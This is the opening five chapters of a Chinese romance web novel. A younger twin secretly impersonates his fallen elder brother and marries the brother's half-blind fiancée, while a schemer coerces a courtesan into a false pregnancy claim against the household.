《红烛摇,嫁双生,夫君竟是小叔子》 第1章 假世子真婚约 第一章 假世子真婚约 景和三年,冬。 大宛皇城。 平日里最是繁华热闹的锦绣大街,此时寂静无声,百姓立在道路两侧,神情庄严肃穆。 “定北军归——” 少年将军一身银甲,头戴缟素,腰杆笔直,骑在通体乌黑的高大战马上,走队伍最前方。 他身后是两辆素白灵幡的马车,那里面躺着他的父亲定北侯,和从战场寻回兄长温珣的残破兵刃。 不知是谁高喊一声:“战神归来,天佑大宛!” “恭迎世子殿下凯旋!” 紧接着,人群中爆发出一阵阵震耳欲聋的欢呼声。 温越嘴唇紧抿,那张与兄长极为相似的冷峻面庞,此刻却异常苍白。 一月前,北疆战况僵持不下,父亲重伤,兄长率精锐突袭后下落不明。 年近五十的定北侯在濒死前,将北疆三十万大军交到他手中,命他代替兄长与敌军谈判。 温越仍然记得北狄统帅耶律齐看到他时,一晃而过的惊诧,和无时无刻警觉防备的神情。 准确的是看到他这张脸。 父亲说的没错,他在敌军面前重伤濒死的消息瞒不住,只要定北军中还有兄长在,北狄便多了几分忌惮。 冬日渐近,北狄粮草紧缺,幼主根基不稳,两军对峙,只会两败俱伤。 温越学着印象中兄长的模样,冷静自持,不落威势,不知是他演技极佳,还是耶律齐顺水推舟,谈判进行的异常顺利,两国最终签下停战十年的平等协议。 温越明白,从今以后,他不再是京都那个流连在秦楼楚馆的纨绔公子,不再是街头逞凶斗狠的小霸王,他要克制自己的一切习惯,带着属于兄长沉稳内敛的面具,替父兄撑起这诺大的一个侯府,替大宛守护边疆安定。 “辛亏活着的是世子殿下,若是那个二世祖,如今边境还不知是什么样呢?” “可不是吗!只是可惜了温老将军,传言说,若不是为了救那个不争气的小儿子,老将军也不会重伤。” “原来如此,我说一向骁勇的温老将军怎会就这样殒命……” “哎,你说救那个废物干什么,最后人没救回来,还搭上了自己的命……” 议论声断断续续的钻进温越的耳朵,父亲为救他而死,这是扎在他心中一根不敢触碰,也永远拔不掉的刺。 他握紧了缰绳,指间发白,曾几何时,他也在想,若死的是他,兄长也不会冒险行事,这样一来,除了死了他这样一个废物,皆大欢喜。 “住口!” 温越的目光扫过人群,瞥见长街后方一抹素白的身影上。 女子声音不大,却带着一丝不容置喙的威严,清冷的声音压过一切嘈杂:“定北军浴血奋战,以命相搏,才换得尔等如今在这安稳的都城中享受太平,免受流离失所之苦,不必日日担惊受怕。” “如今英雄归来,尸骨未寒,尔等非但不心存感激,反而在背后对亡者诸多非议!” “此乃天子脚下,你们竟如此不知廉耻,恶语相向,难道就不怕我去御史台击鼓鸣冤,告你们一个不敬功臣的大不敬之罪吗?” “你是什么东西……” 一人正要开口,便被拦下:“哎,算了,李兄,这是刑部侍郎沈行的亲妹妹,与定北侯府有婚约,如今温珣立下战功,不能得罪。” “……切,我当是谁,说你家小叔子你不乐意了呗,还没嫁就这么急着为夫家说话,究竟是谁不知廉耻……” “好了!李兄,少说两句吧!” “我说错了吗?本来就是,如今还瞎了眼,温珣如今正是当红,能不能娶她还两说……” 听着两人渐远的声音,沈溪言咬了咬唇,眼底氤氲起一层雾气,映湿了眼前的素白纱布。 榴花急切道:“小姐,您别多想,温世子不是那样的人,况且大夫说了,您眼疾未愈,不能再流泪了。” “将军,是沈姑娘……” 副将卫奕是父亲留给温越的心腹,也是军中唯一知道他真实身份的人。 温越抬眸望去,只见少女身形纤弱,弱柳扶风,正扶着侍女的手,向长街中央张望。 那是兄长的未婚妻,沈溪言。 温越皱着眉,眸光落在女子眼前覆盖的白纱之上。 “她的眼睛怎么了?” “探子说沈姑娘乍闻边关惨讯,日夜祈祷,多日未曾合眼,泪水流尽,悲痛之下伤了双目。” 卫奕看着温越微沉的面色:“不过将军放心,这都是暂时的,将军不必忧心。” “我为何会忧心,那是兄长的未婚妻,与我何干。” 温越冷着脸,一夹马腹,策马向前。 正好借着孝期退了婚约。 沈溪言感到一道灼灼的目光落在自己身上,转瞬即逝。 她慌张的握紧了侍女榴花的手:“方才是世子吗?” 榴花垫着脚张望,什么也没看见:“小姐,世子刚刚归京,走得急,待过两日,他定会入府探望小姐的。” “嗯……” 整整一月,沈溪言也没等来温珣。 京中传言温珣要为父守孝三年,与沈府退婚。 榴花压着消息,不敢告诉沈溪言,生怕又惹的自家小姐伤心。 直到这天,已经袭爵的年轻的定北侯,在回京后第一次登上沈府的门。 刑部侍郎沈行不过二十五岁,平日里杀伐决断,却生的儒雅风流,至今未娶,父母早逝,与唯一的妹妹相依为命。 瞧见温越一脸凝重,又想起京中的传言,沈行不免沉了脸色。 “不知侯爷大驾光临,有失远迎,还请见谅。” 嘴上说着,沈行端坐在主位上,捏起茶杯抿了一口,并未起身。 温越也不恼,规规矩矩地行礼:“沈大人安好。” 沈行见他并不端着架子,脸色缓和几分:“坐吧。” 心里想着,温珣到底不是他那个纨绔弟弟,还是知礼数的。 “沈兄,我今日前来,是为了……” “可是为了退婚一事?” 温越的眸中闪着复杂的情绪,嘴角动了动,却又硬生生眼咽了回去。 沈行见他犹豫,怒上心头,拍案而起:“你小子,果真如京中传言那般,如今立下战功,春风得意,嫌弃言儿的眼疾,觉得她配不上你?” “并非如此……” “那是为何?”沈行大手一挥,“言儿的眼泪也是为你们温家流的,她怜你痛失亲人,这些日子不去打扰你,你就是这样辜负她的?” 卫奕解释道:“沈大人,您误会了……” “你住口!” 卫奕灿灿地闭了嘴,想起沈小姐当街训人的那一幕,果真是亲兄妹。 “若是用孝期当借口,我劝你还是别开口,言儿一心要嫁你,纵使在等三年,她也愿意。”沈行痛心疾首,仿佛做出了极艰难的决定。 温越苦笑一声:“用不着耽误沈小姐三年……” 怕是要耽误一辈子。 “你什么意思?”沈行闻言,危险地眯起眸子,拳头握地咯吱作响。 “温珣,定北侯府莫要欺人太胜!” 就在沈行的拳头就要落在温越脸上的最后一刻:“我是来提亲的。” “什么?” “我是来提亲的……” “陛下特许,念及定北侯满门忠烈,无需守孝,月底即与沈家履行婚约,延续香火,以安忠魂。” 第2章 娶了嫂嫂 第二章 娶了嫂嫂 腊月初八,宜嫁娶。 窗外大雪纷飞,下得又急又密,雪粒打在窗棂上,簌簌作响。 屋内红烛高照,炭火烧得正旺。 送走宾客,温越站在榻前,他的身量极高,身着正红细花纹底锦服,玉带束腰,衬得肩宽腰窄,身姿如松。 他在席间被灌了些酒,眼尾泛着潮红,手中捏着系着红绸的喜秤,指尖却忍不住微微颤抖。 温越深吸一口气,手腕轻抬手腕,缓缓挑开那方红色盖头。 烛光摇曳,映出女子那张清丽绝伦的面容。 温越呼吸一滞,强迫自己移开目光。 这是自己本该叫“长嫂”的女子,是兄长的挚爱。 几日前,他去求天子取消婚约,天子却以“此时退婚,慢怠功臣,会让天下人寒心”为由,将婚期提前。 若要坦白,便是欺君之罪,若不坦白,他便要真的娶自己的嫂嫂。 可温府几百口人命,他不敢赌。 沈溪言只觉眼前一亮,经过这些时日的休养,她的眼疾已经好了大半。 原本视物一片混沌,如今在烛光之下,她也能隐约看见眼前一个高大、朦胧的身影。 “阿珣,该喝合卺酒了。” 沈溪言话还没说完,耳尖便热了起来。她微微垂着头:“我看不清,阿珣可以递给我吗?” 一瞬间,温越周身涌动的酒意被一盆冰水浇灭,面上的潮红以肉眼可见的速度褪去,原本迷离的眼神瞬间清明。 他嘶哑着喉咙:“别这样叫我。” 沈溪言敏锐地察觉到他语气中的不悦,微愣了一下,随后似乎反应过来般,整个人如同火烧起来了似的:“……夫……夫君。” 她的声音细弱蚊吟,温越却如遭雷击,手中的喜秤“碰”地一声掉落在地。 沈溪言被吓了一跳,抬起那湿漉漉却并未聚焦的眸子望去:“怎么了?” “……没事。” “有件事,我想同你讲……” 温越声音干涩,眼里充满了挣扎。 “我,我其实……” “咦?” 沈溪言微微蹙眉,站起身来,凑上前来:“夫君,你的声音,怎么了?” 温越的瞳孔骤然紧缩,呼吸几乎停滞,瞬间的慌乱如同洪水般将他淹没。 “没……”他极其不自然地移开视线,试图压低声音模仿兄长平日的沉稳:“在北疆时,伤了嗓子,怕是,怕是还未恢复。” “……原来如此,既这样,夫君今夜便不该饮那么多酒。” “对了,夫君方才想说什么?” 温越看着沈溪言眼底的心疼,方才生出的勇气被瞬间击碎。 “没什么,只是想问你饿不饿。” 他下意识地遮掩和谎言,就好像自己是一个卑劣的小偷,现在拥有的一切,都是从已故兄长那里偷来的。 沈溪言不知他心中所想,摸索着向前,“方才用了些点心,不饿的。”她端起桌上的合卺酒:“我知夫君今日辛苦,可这杯酒,夫君还是要喝的。” 温越的额角渗出细密的汗珠,若她知晓真相,会如何? 挚爱之人葬身战场,尸骨无存。 而娶她的只是一个鸠占鹊巢的冒牌货。 温越看着眼前这个为兄长哭伤双眼、满心依赖的女子,一个疯狂的念头在他脑中滋长。 或许,他真的能代替兄长照顾她一辈子? 沈溪言伸出手,抚上温越的脸颊:“瘦了。”温越的身体猛然抖了一下,却没躲开。 “定是吃了不少苦吧,那日听闻边关战报,我便知凶险,没想到是伤了嗓子。” 她的手慢慢抚上男人冷硬的下颌线,顺着喉结一路向下,青涩中带着试探。 “夫君,喝了这杯酒,我们就安寝吧。” 温越不自觉吞了口唾沫,最终还是退后一步避开她指尖的触碰。 不,不能一错再错。 “我,不能饮酒。” 她恐怕不知,合卺酒是宫里赏赐的,加了些有助于绵延子嗣的药物。 “旧伤未愈,方才席上喝的都是掺了水的。” 他极力控制着声音的颤抖:“况且你的眼睛,也不宜饮酒。” “可是……” “没什么可是,父亲和……逸之离开未满一年,虽有天子赐婚,你我……” “……是,我都明白,是我考虑不周了,夫君早些安置吧,我去东院睡。” 温越故意不去看沈溪言眼底的落寞,伸手拦住了她:“你不方便,还是我去吧。” 沈溪言垂着头,低声应了句:“嗯。” 直到温越离去,她失落的神色淡去,眉眼间笼上一层忧愁:“榴花。” 榴花推门进来,一脸焦急,低声问道:“夫人,侯爷怎么走了?” 沈溪言面色平静,就这榴花的手在床榻边坐下。 “这可是新婚夜,侯爷也太荒唐了些,这以后让小姐在府中如何立足。” 沈溪言并未答话,方才靠近时,她便觉得很不对。 具体时哪里不对,她说不上来。 “榴花,你可曾注意,侯爷的左耳后,可有一颗痣?” “这奴婢哪能知道啊?” 沈溪言被自己心底荒谬的想法惊到了,不知为何,她竟觉得,眼前的温珣十分陌生。 她的心中有一个隐隐的、可怕的猜测,若她的猜测是真的,那这背后必定蕴含着极大的阴谋。 次日清晨,初雪渐停。 温越抱着被子,带着一身寒意翻窗而入,示意吓呆的榴花禁声。 沈溪言只从一个模糊的身影就看出眼前之人的局促。 “我,只是不想让下人非议。” 沈溪言心中闪过一丝异样,面上不表:“还是夫君想得周到。” “既然回来了,正巧榴花打了水,让我服侍夫君洗漱吧。” “……你眼睛不方便,我自己来吧。” 沈溪言冲榴花的方向瞧了一眼,后者心领神会。 “侯爷,让奴婢来吧。”她接过沈溪言手中的沾湿的帕子,正要上前,还没碰到温越的耳朵,就被一股力道掀的倒退几步。 温越皱着眉,满脸不悦,低声呵斥:“念你是初犯,又是夫人的陪嫁,这次就饶了你,若有下次,定要重罚。” 说罢他瞅了一眼若无其事的沈溪言,似是有些气恼,冷哼一声拂袖而去。 直到听到脚步声渐远,沈溪言才急忙问道:“榴花,看到了吗?有没有?” 第3章 二公子的旧物 第三章 二公子的旧物 沈溪言看不清榴花的表情。 只觉得自己的心被一只手紧紧地攥着,时间好像被拉长,她的呼吸急促起来,心跳如鼓,似乎即将面对被揭露的残忍的真相。 “没有啊。” “夫人,奴婢瞧见了,侯爷的左耳后什么都没有。” 仿佛是溺水之人突然接触到空气,沈溪言长舒一口气,悬了一夜的心终于落回了肚子。 她在想什么,竟然以为自己所嫁之人不是温珣。 今日榴花的举动算得上十分逾矩了,可到底还是自己默许的行为惹恼了他,阿珣向来不喜外人的触碰,耳朵更是敏感。 一连半月,沈溪言觉得温珣似乎是在躲着自己,除了早膳和晚膳在府中,其余时日都躲在校场不见人影。 她是女子,他纵使有再大的气也该消了。 如此这般,她心里也不免恼了几分。 不理便不理,她索性命榴花将房中门窗落了锁,既然要分房而眠,何必自自欺人早上又赶回来用早膳。 沈溪言此举本就是闹脾气,可没想到温越依旧每日出现在她门口。 直到她开门,才发现温越不知什么时候来了,榴花说,他定是站了很久,就连眉尾和睫毛处,都结了一层厚厚的冷霜。 “人言可畏,我不在你房中休息,会惹人非议。” 还是一样的说辞。 那你为何不回房休息? 沈溪言很想问出口,可身为大家闺秀的涵养让她问不出口,再者,新婚之夜他未曾留宿,到底,她心中有气。 只是这样一来,沈溪言也不敢锁窗了。 兄长曾说,男子成婚前与成婚后就是两幅面孔,可温珣除了话少些,不与她同寝,沈溪言挑不出他的错处。 他在外人面前给足了她体面,会为了她大清早去西市排队买赵记的桃酥,会亲自去东郊的碧云寺替她求平安符,会因为她不小心的磕碰而紧张不已,会贴心地收起一切锋利的物品。 就这样吧,也许他有什么苦衷。 沈溪言心里想着,总有一天,他愿意同她讲明白。 定北侯府人丁稀薄,侯府的小辈里,除老夫人所生的温珣温越双生子之外,就只有一位柳姨娘,所生的三小姐温如沅早些年嫁了人,四小姐温如意久在病中,鲜少见客。 故此,每日温越陪沈溪言请安后着急去校场,堂内就只剩沈溪言一人。 侯府老夫人蒋氏对沈溪言很是怜惜。 “溪言,委屈你了。” 蒋氏本是将门之女,云英未嫁时也曾随父上过战场,嫁入侯府后才褪下戎装。 如今侯府突遭大难,原本雍容华贵的侯府主母,一下子沧桑了不少。 沈溪言从朦胧的面容中看出了眼前女子鬓角生出的银发。 听到这话,沈溪言额角跳了跳:“母亲此话何意?” 难道蒋氏知道什么? 蒋氏叹了口气:“傻孩子,珣儿都对我说了,他在北疆受了伤,成婚那夜……” 沈溪言脸颊上泛起红晕,垂头羞涩道:“那夜夫君待我极好,母亲莫要忧心。” “好孩子,你不必替他遮掩,你俩至今还未圆房,是也不是?” 沈溪言愣住:“……母亲。” “珣儿这孩子,哪里都好,就是随了他父亲,是个痴情种,他怕你担心,之前的传言不假,敌军突袭,他伤在了下半身,他知晓你喜欢小孩子,怕你担心,不忍告诉你真相。” “不过你放心,府医都瞧过了,这都是暂时的,但当夜还有一箭差点射穿了他的喉咙,只怕声音是在难恢复了。” 沈溪言有一丝错愕:“原来如此,母亲也知他声音的不同。” “自然知晓,知子莫若母,他还能骗我不成。” 沈溪言心中愧疚更甚,是啊,一个男子伤了那处,自然是要一些面子的,她之前怎会怀疑与她成婚的另有其人。 若不是亲生儿子,蒋氏为何会分不出。 真是她多疑了。 沈溪言心里想着,不知不觉已经回了自己居住的兰苑。 “夫人,可是老夫人为难您了,从明远堂回来就闷闷不乐的。” 榴花出声打断了沈溪言的沉思。 一股清冽的花香钻入鼻尖。 沈溪言抬眼寻去,只见桌上的青花白地瓷梅瓶中插着一支颜色极浅的花枝。 “那是什么?” “咦?夫人,那好像是腊梅,也不知道是谁一早去折了放在房中,您要是不喜欢,奴婢这就拿出去。” 沈溪言心中又安定几分,她喜欢腊梅,腊梅不如红梅美艳,味道过于浓烈,为人不喜。可她却觉得做人做事,总要轰轰烈烈的才够痛快,就像腊梅,在这乏味的冬日里尽情散发气味,让整个冬天都浸润在其中。 这件事只有温珣知晓,就连陪她长大的榴花都不清楚。 看来之前果真她真是想多了。 她的眸光微闪,端起那瓶腊梅:“去书房。” 她想要见他,想要亲口告诉他,他亲手摘的腊梅,她很喜欢。 沈溪言披着雪白色的薄绒大氅,穿过错落的连廊,风雪打在脸上,也止不住脚步的轻快,握着榴花的手,她想走快一点,在走快一点。 书房门紧闭,她推门而入。 冷风灌入,屋内空无一人。 他不在这。 虽然一切都是模糊的,沈溪言的目光却落在房中各处,脑海中浮现出所爱之人的种种痕迹。前些日子,除了校场,温珣待的最多的地方就是书房了。 最终,她的目光落在了书案上,温珣不仅武艺非凡,书法更是一绝。 目光稍移,案上那方青色的澄泥砚是温越送给温珣的生辰礼,他十分喜爱。 想到此处,她心中又泛起细密的心疼来,他一人背负了太多,她竟然还同他置气。 “二公子的旧物可都收拾好了?” “按侯爷的吩咐,都收拾好了,除了贴身的兵刃铠甲随衣冠冢下葬,其余的侯爷都将其锁在了库房的箱子里。” 温越与温珣虽是一母同胞的双生子,眉眼生的一般无二,可性情却截然不同。 哥哥温珣克己复礼、端庄持重,年纪轻轻便是威震边疆的少年将军,弟弟温越整日里提笼斗鸟,流连烟花巷尾、行为肆意洒脱。 一个被视为天之骄子,一个被看作家族污点。 可名声这东西,最是骗人。 沈溪言清楚,温越虽恶名在外,可他从不依仗侯府权势恃强凌弱,打的都是欺凌良善的恶徒,救的也是流落风尘的苦命女子。 这次被父兄带到战场历练,没想到却永远留在了北疆。 想到那个明朗的少年,沈溪言不禁眼角一红:“嗯,榴花,那方砚台也收起来吧,随我去库房看看有没有替换的,要仔细些,莫要遗漏,免得母亲与夫君看到伤心。” “是,夫人。” 明远堂。 蒋氏坐在主位上,左手撑着额头,眉头紧皱,满脸疲惫:“该说的也说了,我这一把年纪了,还要同你一起骗人。” “她很聪慧,那夜之事若不解释,她定会起疑。” 温越摸了摸耳后的粉饰好的痕迹,身姿笔直,跪在堂前:“母亲,她是兄长的妻子,我不能碰她,得找个一劳永逸的办法,儿子也是被逼无奈。” 蒋氏气极,一把将桌上的茶杯丢了出去:“你也知道她应当是你的嫂嫂。”清脆的碎裂声传来,飞起的碎片划伤了温越额角,一串血珠冒了出来。 蒋氏一愣,最终还是忍住没有上前: “现在说什么没有办法,当初你就应该求皇帝退了婚约,如今娶了人家却又不碰,你要耽误溪言一辈子吗?” “是陛下赐婚,我怎能违背?” “住口,你别以为我不知道那赐婚圣旨怎么来的。” “我……” 温越话音未落,卫奕急匆匆闯进来,顾不得行礼:“不好了,将军,夫人拿了书房的砚台,去了库房,说是要规整‘二公子’的旧物。” 卫奕久在军中,即便温越此时已经封侯,他还是习惯称其为将军。 “什么?” 温越面色大变。 为以防万一,他将自己所用的衣物用品统统封存,只有兄长的长枪,他存了私心,想留个念想,悄悄留了下来,没有放在衣冠冢中一同下葬。 若她瞧见,后果不堪设想。 他急步离去,转身时墨色的衣角翻飞,只留下蒋氏不住的叹息声。 第4章 她还愿意叫我夫君 第四章 她还愿意叫我夫君 温越紧赶慢赶,还是迟了一步。 他到库房时,沈溪言早已离开,季管家一脸菜色,正锁着库房的门,唉声叹气。 温越的脸色极其难看,冷不丁出现在季管家身后:“季伯,夫人呢?” 年过五十的老管家被吓到一激灵:“哎呦!” “侯爷,是您啊。” “夫人方才刚走,不知榴花那丫头说了什么,夫人似乎发了好大的火,整个人失魂落魄的,就连珍藏的芙蓉白玉杯都摔碎了,老奴拦不住,正要和您去禀报……” 温越如遭雷击,尖锐的耳鸣贯穿整个脑海,只看到季管家嘴唇一张一合。 他踉跄地退后两步,脸色铁青。 本以为她眼疾未愈,不一定看到兄长的长枪,可季伯方才说,是榴花说了什么,她才有如此反应。 榴花…… 他怎么能忘了这小妮子。 榴花是她的贴身侍女,从小跟在她身边长大,定然认得兄长的长枪。 季管家终于意识到了自家侯爷的异常之处,也慌张了起来。 “……侯爷?侯爷?” “那芙蓉白玉杯虽是御赐之物,甚是名贵,可论如今您的恩宠,就算陛下知道,想必也不会怪罪,您莫要怪罪夫人,她发火定是有什么缘由……” “缘由……” “是啊,侯爷,您可要和夫人好好说清楚。” “说不清楚了……” 温越嘴唇颤抖,脚步虚浮缓缓转身,正撞上后面赶来的卫奕。 “怎么了?发生了什么?” 卫奕的眼神在两人之间来回扫视。 “侯爷怪罪夫人打碎了御赐之物……” 卫奕的嘴角抽了抽,怎么可能,一盏杯子而已,沈溪言要是高兴,全都砸了温越也只会在旁边拍手叫好。 别以为他看不出来,在老侯爷身边做事,从小和温珣温越两兄弟一同长大,旁人也许不知,他看的清楚,温越对沈溪言的感情,不比温珣少。 “对了,侯爷,前日府里新来的护院,有几个功夫特别出挑的,夫人先前说放在放在主院里……” “哎呀,季伯!这时候就别操心这些鸡毛蒜皮的小事了。” 卫奕打断了他,没看这边都火烧眉毛了吗? 侯府书房。 夜风猎猎,书房内没有点灯,温越冷着脸,僵直着身子,把自己藏在阴影里。 卫奕双手抱胸,依靠在门边:“一天了,从库房回来你就沉默不语,她究竟在里面看到了什么?把你吓成这个样子。” 私下里,卫奕更像是温越的好友,并非下属。 “你不是说要告诉她真相。” “还没来得及开口?” “温越,温逸之,你倒是说话呀!” 温越的眉头紧锁,手指在桌上无意识的敲打,带着不耐烦的颤动,鼻尖萦绕着一股浓郁甜腻的花香,令他越发烦躁。 他抬眼搜寻这味道的来源,发现案上不远处突兀地出现了一只白色瓷瓶,瓶中插着一枝腊梅。 卫奕凑上前来,嘴里没停:“她真发现了你今后怎么办?是与她和离还是继续纠缠不清?侯府这样骗她,她哥疯起来可不要命,怎么肯轻易罢休?” 温越内心的恐慌随潮水般涌来,他不怕沈行的报复,只怕她再也不愿理自己,怕她恨自己。 他不知道怎么面对沈溪言,这也是成婚之后第一次,他没有陪她用晚膳。 “你……”卫奕还要开口,温越不想再听,低吼一声,手腕猛地一扬:“别说了!” “啪!——” 清脆的碎裂声传来,那只梅瓶被狠狠地砸在门框上,锋利的碎片散落一地。 “啊——” 门外传来一声惊呼,温越的胸膛起伏不定,双目赤红,朝门外望去,只见榴花捂着胸口,一副受惊未定的模样,她的另一只手扶着一人。 随后,几声极轻的脚步声传来,紧接着是女子带着浓浓哭腔的压抑嗓音:“你纵然要发脾气,也用不着拿它出气……” 沈溪言眼里的雾气更重了,屋内没有点灯,视线模糊不清,只能闻到脚下那股碎裂的花香,即使看不清也知道他砸碎了什么。 今日在库房的时候,榴花拿来了京中绮红阁花魁醉玉姑娘的拜帖,说是以前多得二公子的照拂,如今斯人已去,她本无意打扰,可发现腹中已有其骨肉,要来侯府讨个说法。 她一时又急又怒,失手打碎了手边的芙蓉杯。 温越生前虽然是京中数一数二的纨绔,也是绮红阁的常客,可毕竟是侯府出身,她不信温越能做出让女子无名无分怀了骨肉的事。 如今温越战死疆场,醉玉带着遗腹子上门,无人证实她话中真假。 她表面上打发了醉玉,暗地里派人盯着她的行踪,本想在晚膳的时候和温珣商量,可没想到晚膳热了三次,也没等来人。 叫来管家一问,才知她走后侯爷来了一趟,因为她打碎御赐之物发了好大的火。 沈溪言心里委屈极了。 可回头想想,阿珣是最喜欢孩子的,如今伤了身子,还不知什么时候痊愈,醉玉若所言为真,那恐怕是侯府唯一的子嗣了。 她今日的做法确实欠妥,阿珣还不至于为了一只杯子与她置气,一定是这样了。 可还没与他把话说开,他就气到砸了那花瓶。 一时间,沈溪言眼角酸涩,成婚以来的种种委屈如潮水般涌上来。 温越僵在原地,听着女子断断续续的抽泣,那股烦躁的情绪瞬间被前所未有的恐慌代替,他嗓音沙哑:“卫奕,点灯。” 地上都是碎瓷片,她本就看不清,容易误伤了自己。 卫奕战战兢兢地应了一声:“是。” ‘嗤’地一声轻响,突然的亮光让沈溪言不禁眯了眯眼,她意识到有外人在,她稳了稳心神:“卫将军。” “哎,夫人安好,这个,没什么事,我先告退了。”卫奕拱手行礼,随后几乎是逃似的飞奔离去,走之前递给温越一个自求多福的眼神。 沈溪言也让榴花退下,屋内只剩夫妻二人。 又是一阵死寂的沉默。 最终还是温越选择打破沉默,他仿佛是等待宣判的死刑犯,嘴唇发干:“你都知道了。” 沈溪言以为他是说自己受伤的事。 “嗯,母亲都告诉我了。” 温越的脸色的血色瞬间褪去,果然,母亲本就不认同自己骗她。 “是我对不住你。” “你不该瞒着我。”沈溪言皱眉。 “是,都是我的错,你怎么怨我我都认了。” “我是女子,你这样做,时间长了,你可考虑过我的处境?可担心过我怎么想?” “我……”温越喉咙里像是塞了一团棉花,吞不下,吐不出,最终发出一声长长的叹息,“……对不起。” 温越瘫坐在地,不敢抬眼看她,乍一听语气无任何异常,可控制不住似的,大滴大滴的眼泪落了下来,砸在自己手臂上。 他的心仿佛在被凌迟,字字泣血:“……你若要和离,侯府会向天下人说明,是我在战场上伤了根本,你至今还是清白之身,是我骗你在前,你想要什么补偿,我都愿意给。” “……只是,只是求你别恨我,也别再也不理我。” 说到最后一句,温越语气里也带了哭腔。 沈溪言有些愣住,怎么就到了和离的地步,她不是男子,没想到这件事对他的打击这么大。 她从没见过温珣如此脆弱的模样,一时间也有些无措,气散了大半:“夫君,这都是小事。” 温越呆住。 这都是小事,那什么是大事? 他脑子似乎不转了,只剩下一句,她还愿意叫我夫君哎。 那意味着? 第5章 生米煮成熟饭 第五章 生米煮成熟饭 沈溪言看着男子比以前清晰几分的面容,她还未来得及告诉他这个好消息。 估计要不了几日,她便可以完全看清他了。 沈溪言向温越走近几步,将他的头揽在怀里:“府医不是说了,可以治好的,若是治不好……” “醉玉怀的到底是不是阿越的孩子,我们就不查证了,我们就当侯府的孩子养,好不好?” “若是品行端正,将来就将侯府交到他手上,若是资质平庸,我们就从旁支里挑一个资质好的。” “夫君,今日是我考虑不周,阿越一走,醉玉就上门要名分。我也是气急了,怕她是受人指使,另有所图,你别同我置气了。” 温越的目光变得茫然,他的表情从死寂到怔愣,最后到了然,半晌才消化了沈溪言话里的意思。 他的嘴角抽一下,却没笑出来。 他竟以为,沈溪言依旧愿意接受身为‘温越’的自己。 不对,等会儿,醉玉怎么回事? “是绮红院的醉玉?她说怀了我……我弟弟的孩子?” 沈溪言看着眼前瞬间冷静的男子,不明所以:“是啊,她今日拖门房给榴花递了消息,我……” 温越站起来,神色古怪:“你今日是为此打碎了白玉芙蓉杯?” 高大的身影将她笼罩,沈溪言垂着的头变为仰视,眼含歉意:“是失手了,是不是给你添麻烦了,毕竟是御赐之物——” 沈溪言后面的话还未说出口,眼前的身影猛然压下来,所有的声音便戛然而止。 微凉柔软的唇毫无预兆地覆了上来,沈溪言瞪大了双眼,朦胧的视野里,是那张俊美到极致的熟悉面容,她的手下意识抓住男子的衣角,攥紧,连呼吸都忘了。 男人的手掌扣住她的后脑,不容她退缩。 这个吻并不温柔,充满了惩罚的意味,与平日里那个冷静自持的温珣判若两人。 就在她快要窒息的一瞬间,温越松开了她。 沈溪言大口喘息,随即感到一股热气从脚底直冲头顶,脸颊以肉眼可见的速度烧了起来,心跳如鼓。 “……夫君。” 还没缓过来,就被眼前之人紧紧拥入怀中,那力道极大,似乎要将她揉进自己的身体。 沈溪言正不知所措,想要开口唤他一声,却突然感到肩头传来一阵温热。 她浑身一僵硬,想要将他推开手停住了,她看不清温越的表情,只感觉到他的胸腔在剧烈起伏,她的手转而轻轻抚上男子的脊背,从上到下慢慢安抚,温声道:“怎么了?” 温越喘着粗气,半响才将头拿起来,搂着她的手却没有放开:“阿言。” 这句称呼中带了太多情绪,温越心有余悸,他差点以为就要失去她了。 沈溪言垂眸,轻声应到:“嗯。”这是成婚以来,他第一次唤她的名字。 “阿言。” “嗯。” “阿言。” “我在呢。” “阿言,我好爱你。” “怎么,方才不还要和离呢?” 温越瞬间放开开她,扣着她的肩膀,语气焦急:“不是,我以为你不要我了。” 沈溪言唇角含笑,点起脚尖将一个极轻的吻落在他的眉间:“阿珣,我永远都不会不要你。” 后者的身体瞬间僵直,温越无声苦笑,这是他自己选的路,就算是刀片,他也得往肚子里吞。 沈溪言感受到眼前之人的情绪变化:“怎么了?” “没事。”温越摸了摸她的头发,神色复杂:“那只白玉杯,你不必放在心上。” “还有醉玉肚子里的孩子,一定不是侯府的。” “啊?你怎能确定?” “逸之虽然没规矩了些,但不会胡来。”温越冷哼一声,他根本就没碰醉玉,怎么不能确认,背后之人不过是看他‘死了’,死无对证,才想碰瓷侯府。 “……哎,不对啊,若不是因为此事,你今日为何同我置气,不回房用膳?” “……我”温越差点咬了舌头,“自然是因为怕你知晓我的伤的事,不是同你置气,是怕你生气。” “哦~” “阿言,我嗓子好痛,应当是今日说了太多话的缘故。”温越轻咳了几声。 沈溪言闻言立马将脑中那股异样的感觉抛开,转身摸索茶杯。 温越一把将她转了回来,沈溪言惊呼:“你干什么?我替你倒杯茶润润嗓子。” 温热的呼吸洒在面颊上,耳边的声音沙哑:“不必那么麻烦。” 呼吸再次被掠夺:“呜……” 温越觉得自己一定是疯了,他很清楚,自己总有一天要溺毙在自己亲手捏造的沼泽里,可此时,他脑中只有一个想法。 他不能失去沈溪言。 醉玉拿孩子威胁,倒是提醒了他。 过几天,他定要寻个机会“病愈”,待到生米煮成熟饭,他们有了共同的骨血,纵使日后东窗事发,他也有将她强留下的筹码。 如此一来,她就再也将他甩不开了。 绮红阁。 雕花的木窗半掩,红色纱帐低垂,透进几缕微暖光影,浓烈的熏香夹杂着酒气,弥散在空气中。 屋内的女子一袭红衣,云髻高挽,五官精致,眼尾高挑,魅惑至极。 她正跪在塌前,身子止不住地轻颤。 “上官,奴家已经按照您的吩咐,去侯府讨要说法了,只是那新夫人似乎不信,将奴家轰出来了,您……什么时候能放了我小妹?” “侯府还没接你进门,你急什么?”阴影深处,坐着一人,那人整个身子笼在一顶黑色的帷帽里,声音沙哑,雌雄莫辨。 醉玉心头一紧,指甲深深嵌入掌心:“那您的意思是?” “尽快怀上孩子。”那人端起案上的茶杯,轻抿一口:“万一侯府突然认了,你肚子里没揣着货,想等进门了在怀,那就难了,温珣可不像他那个废物弟弟,是个好糊弄的主儿。” 醉玉脸色煞白:“您怎么?” “我怎么知道你是假孕?醉玉,你一开始就没想着真的入侯府,是不是?” 那人起身掐住女人纤细洁白的脖颈,收紧:“别和我耍花招,记住,你小妹的命,在你一念之间,不想她也被送到这种地方来,就好好办事。” 醉玉跌坐在地上,看着眼前之人转身离开,喃喃道:“公子,对不住了。” 不等她多想,门口传来一阵急促的敲门声,是伺候她的丫头红雾:“姑娘,李公子来了,你快准备准备吧。” 醉玉浑身一僵,迅速整理好眼底的情绪。 她抬手胡乱擦去眼角的泪水,望向案上那碗淡褐色的汤药,那是阁里姑娘们每日必喝的避子汤。 